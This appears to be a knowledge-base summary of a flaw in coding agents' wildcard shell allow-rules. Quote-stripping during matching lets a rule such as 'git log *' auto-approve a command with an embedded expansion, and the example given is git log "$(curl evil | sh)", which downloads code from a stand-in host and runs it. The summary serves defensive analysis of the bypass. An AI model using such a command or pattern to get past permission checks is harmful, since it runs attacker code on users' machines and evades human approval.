Summary
Coding agents gate shell commands with allow-rules built from wildcards (e.g. Bash(git log *), Bash(PORT=* npm run dev)). When the matcher normalizes or strips quoted regions before matching, a * can span across a quote boundary and swallow text that the shell will later expand — so a benign-looking pattern auto-approves a command that executes attacker-supplied code. Claude Code 2.1.323 added a start-up warning for one shape of this bug; the same class was found in yoyo's allow_wildcard_spans_a_command_chain on Day 258.
Key Points
- A wildcard in an allow rule is not just a prefix/suffix match — bash expands
$(...)and backticks inside double quotes, so'git log *'matchesgit log "$(curl evil | sh)". - Blanking quoted regions wholesale (rather than parsing them) makes the wildcard appear to consume only a quoted string, hiding the expansion.
- One shared normalization helper propagated the flaw: the same function behind allow-rule matching also feeds
detect_write_command, the read-mode guard. - Claude Code's mitigation is advisory only: a start-up warning, not a hard block, for Bash allow rules whose
*sits in a variable value position. - The adjacent trust boundary — untrusted directories — is handled separately by sandbox/trust flags (Codex
--sandbox workspace-write,--trust), and is orthogonal to wildcard matching.
Concepts
- Allow rule / permission rule — a pattern pre-authorizing a command shape so the agent does not prompt each time.
strip_quoted_regions— yoyo helper that replaces quoted spans with empty content before pattern matching; the root of the blind spot.allow_wildcard_spans_a_command_chain— yoyo predicate that decides whether a wildcard auto-allow applies.